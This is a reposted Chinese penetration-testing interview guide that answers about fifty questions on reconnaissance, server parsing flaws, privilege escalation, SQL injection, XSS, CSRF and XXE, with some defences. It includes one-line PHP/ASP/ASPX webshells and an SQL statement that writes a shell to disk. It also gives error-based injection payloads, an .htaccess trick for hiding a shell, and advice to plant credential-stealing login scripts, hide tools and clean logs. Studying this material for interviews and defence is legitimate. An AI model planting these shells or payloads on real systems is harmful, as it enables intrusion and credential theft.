不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

渗透测试常见问题以及方法

面试过安全的、渗透的、安全测试的安全运维的、安全服务的,其实来来回回基本问题就是那么多,更多的是对安全的理解深度以及新型问题的应对和处理能力。

作者:阿小仔

https://blog.csdn.net/qq_37367124/article/details/115901690

每一个问题我们优雅的对待和处理,就像写婀娜多姿的code一样,它们给你反馈的result也会让你满意。
好些知识点也借鉴了一些大佬的,写的也很粗略,大家莫要责怪哈。
1.拿到一个待检测的站,你觉得应该先做什么?
1)信息收集
1,获取域名的whois信息,获取注册者邮箱姓名电话等。
2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
Content Management System,常见如下:
  1. #Drupal#
  2. cve-2014-3704
  3. Drupal7.31SqlInjection
  4. cve-2018-7600 RCE
  5. #ZCMS#
  6. zcms 2.x后台投稿处,存储型XSS和CSRF漏洞
  7. ZCMS(JSP) V1.1登陆绕过& SQL注入&跨站漏洞
 3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。
6,google hack 进一步探测网站的信息,后台,敏感文件
2)漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
一句话木马
一句话木马能连接成功有两个前提条件: 
一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入WebShell代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话无法写入。
二、权限问题,如果当前的虚拟目录禁止user组或者everyone写入,同样不会成功。
 如何启用“一句话”木马拦截功能?
(1)在服务器 wzxStopKeyWord.ini 文件中,设置 blockmuma = 1 表示启用此功能,拦截“一句话”木马。
(2)重启IIS即可生效。
木马原理:
首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form(‘#’)+”这句代码,Request.form(‘#’)的作用是读取客户端文件中html标记属性中name值被命名 为#的部分。
  1. asp一句话木马:
  2.    <%execute(request("value"))%>
  3.   php一句话木马:
  4.    <?php @eval($_POST[value]);?>
  5.   aspx一句话木马:
  6.   <%@PageLanguage="Jscript"%>
  7.   <%eval(Request.Item["value"])%>
一.eval
<?php @eval($_POST[“password”]);?>
eval用法:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
<?php eval($_POST[password]);?>
图片
3)漏洞利用
利用以上的方式拿到webshell,或者其他权限
4)权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
巴西烤肉:1.churrasco.exe是2003系统一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。
Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
该漏洞是Linux的一个本地提权漏洞,发现者是Phil Oester,影响>=2.6.22的所有Linux内核版本,修复时间是2016年10月18号。该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。
5) 日志清理
6)总结报告及修复方案
2.判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进行代码审计。 
3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?
敏感文件、二级目录扫描
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
4.常见的网站服务器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
root权限以及网站的绝对路径。 
6.目前已知哪些版本的容器有解析漏洞,具体举例。
解析漏洞主要是一些特殊文件被iis、Apache、Nginx等服务在某种情况下解释成脚本文件格式并得以执行而产生的漏洞。
iis 5.x/6.0解析漏洞
iis6.0解析漏洞主要有以下三种:  
1). 目录解析漏洞 /xx.asp/xx.jpg
  在网站下创建文件夹名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做asp文件来解析并执行。因此只要攻击者可以通过该漏洞直接上传图片马,并且可以不需要改后缀名!
图片马
图片
图片
2). 文件解析 xx.asp;.jpg
  在iis6.0下,分号后面的不被解析,所以xx.asp;.jpg被解析为asp脚本得以执行。
3). 文件类型解析 asa/cer/cdx
    IIS 6.0
    /xx.asp/xx.jpg “xx.asp”是文件夹名
    IIS 7.0/7.5
    默认Fast-CGI(通用网关接口)开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
图片
Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
    空字节代码 xxx.jpg.php
Apache
Apache对文件的解析主要是从右到左开始判断并进行解析,如果判断为不能解析的类型,则继续向左进行解析,如xx.php.wer.xxxxx将被解析为PHP类型。
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
  现在对apache的配置文件做适当修改,在文件中添加下面几行代码
  1. <FilesMatch".(php.|php3.|php4.|php5.)">
  2. Order Deny,Allow
  3. Deny from all
  4. </FilesMatch>
   禁止*.php.*文件的访问权限
    lighttpd
    xx.jpg/xx.php。
7.如何手工快速判断目标站是windows还是linux服务器?
linux大小写敏感,windows大小写不敏感。
8.为何一个mysql数据库的站,只有一个80端口开放?
更改了端口,没有扫描出来。
站库分离。
3306端口不对外开放
9、3389无法连接的几种情况
没开放3389 端口
端口被修改
防护拦截
处于内网(需进行端口转发)
10.如何突破注入时字符被转义?
宽字符注入
hex编码绕过
11.在某后台新闻编辑界面看到编辑器,应该先做什么?
看编辑器的名称版本,然后搜索公开的漏洞。 
12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
能做的事情很多,用隐藏网马来举例子:
插入
<FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php </FilesMatch>
 .jpg文件会被解析成.php文件。
具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。
13.注入漏洞只能查账号密码?
只要权限广,拖库脱到老。 
14.安全狗会追踪变量,从而发现出是一句话木马吗?
是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。 
15.access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?
迅雷下载,直接改后缀为.mdb。 
16.提权时选择可读写目录,为何尽量不用带空格的目录?
 因为exp执行多半需要空格界定参数
17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?
同数据库。 
18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。 
19.某个防注入系统,在注入时会提示:
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1nai
20、如何利用这个防注入系统拿shell?
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。
21.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码。 
22.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。 
23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
先爆破用户名,再利用被爆破出来的用户名爆破密码。
其实有些站点,在登陆处也会这样提示
所有和数据库有交互的地方都有可能有注入。
24.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?
    这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。
25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?
直接在网站二级目录/abc/下扫描敏感文件及目录。
26.在有shell的情况下,如何使用xss实现对目标站的长久控制?
后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
在登录后才可以访问的文件中插入XSS脚本。
27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
审查元素 把密码处的password属性改成text就明文显示了
28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?
原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过 
29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到<hws>内容<hws>。 
30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?
隐藏文件夹,为了不让管理员发现你传上去的工具。
31.sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
A. demo.jsp?id=2+1       B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆
32.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试
33.发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
34.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
说明一下:
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。
第三:DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
防御:
1. 过滤用户输入的,XSS filter检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出
2.优化web应用:避免被攻击:用户向服务器上提交的信息要对URL和附带的的HTTP头、POST数据等进行查询,对不是规定格式、长度的内容进行过滤。
3.对输出也做检查使用HTMLencode编码防御 < >  = 进行HTMLencode编程lt gt eq 等。
对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击:
CSRF:(Cross Site Request Fogery)跨站请求伪造。
一般发生在论坛、博客、留言评论的地方。
可以这样理解:攻击者利以你的身份和名义发送恶意请求,对于服务器来说,这个请求是完全合法的,所以攻击者可以以你的名义盗取信息、发邮件、破坏数据等。
如下:webA为存在CSRF的网站,webB攻击者构造的恶意网站,userC为可正常访问网站的用户。
1.C打开浏览器,访问了A,输入了用户名或密码登录
2.网站A产生Cookie返回给浏览器,用户成功登录A。
3.A在同一浏览器点击攻击者留下的链接,访问webB。
4.网站B接收到A的请求后,返回攻击性代码,并发送一个请求,要求访问第三方网站A。
5.浏览器收到攻击性代码,并且携带Cookie信息访问A,A并不知道请求是由B发起的,所以会根据cookie信息执行请求,导致来自网站B的代码被执行。
防御:
1.验证HTTP Refer 字段。同一网站的来源地址都会是自己的地址,当发生CSRF时,来源地址就是攻击者构建的地址。
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 
http://bank.example/withdraw?account=jack&amount=1000000&for=rose,
用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
2.CSRF之所以能成功,关键在于攻击者利用了用户的cookie
可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer。
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
35.CSRF、SSRF和重放攻击有什么区别?
CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的。
36.说出至少三种业务逻辑漏洞,以及修复方式?
密码找回漏洞中存在
1)密码允许暴力破解、
2)存在通用型找回凭证、
3)可以跳过验证步骤、
4)找回凭证可以拦包获取
等方式来通过厂商提供的密码找回功能来得到密码。
身份认证漏洞中最常见的是
1)会话固定攻击
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可伪造用户身份。
验证码漏洞中存在
1)验证码允许暴力破解
2)验证码可以通过 Javascript 或者改包的方法来进行绕过
37.圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive
38.给你一个网站你是如何来渗透测试的?
在获取书面授权的前提下。
39.sqlmap,怎么对一个注入点注入?
1)如果是get型号,直接,sqlmap -u “诸如点网址”.
2) 如果是post型诸如点,可以sqlmap -u “注入点网址” –data=”post的参数”
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r “文件地址”
40.nmap,扫描的几种方式
 详见https://blog.csdn.net/qq_37367124/article/details/80157750
41.sql注入的几种类型?
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入
42.报错注入的函数有哪些?10个
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))—————-
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4)
.geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5)
.multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6)
.polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7)
.multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8)
.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9)
.multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10)
.exp()select from test where id=1 and exp(~(select * from(select user())a));
43.延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
44.盲注和延时注入的共同点?
都是一个字符一个字符的判断 
45.如何拿一个网站的webshell?
上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等 
46.sql注入写文件都有哪些函数?
select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
    select ‘<?php eval($_POST[1]) ?>’ into dumpfile  ‘d:\wwwroot\baidu.com\nvhack.php’; 
47.owasp 漏洞都有哪些?
1、SQL注入防护方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发
48.SQL注入防护方法?
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
 
扩展:
SQL注入原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量。
但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。
防御:
1.添加图形码进行验证,加WAF
2.使用正则表达式对敏感输入进行过滤,或者在前端使用JS代码就进行过滤。
使用预处理语句和参数化查询。预处理语句和参数分别发送到数据库服务器进行解析,参数将会被当作普通字
处理。这种方式使得攻击者无法注入恶意的SQL
预编译就是提前将SQL命令编译好,无论后面注入什么内容,服务器都不会叼。因为语法分析已经完成了。
原理:
sql注入只对sql语句的准备(编译)过程有破坏作用
而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,
而不再对sql语句进行解析,准备,因此也就避免了sql注入问题
49.代码执行,文件读取,命令执行的函数都有哪些?
1)代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2)文件读取:
file_get_contents(),highlight_file(),fopen(),read 
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3)命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
50.img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer 
51.img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。
1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
AddType application/x-httpd-php .jpg
<img src=http://xss.tv/1.jpg>会以php方式来解析

转自:安全初心

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 渗透测试常见问题以及方法

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏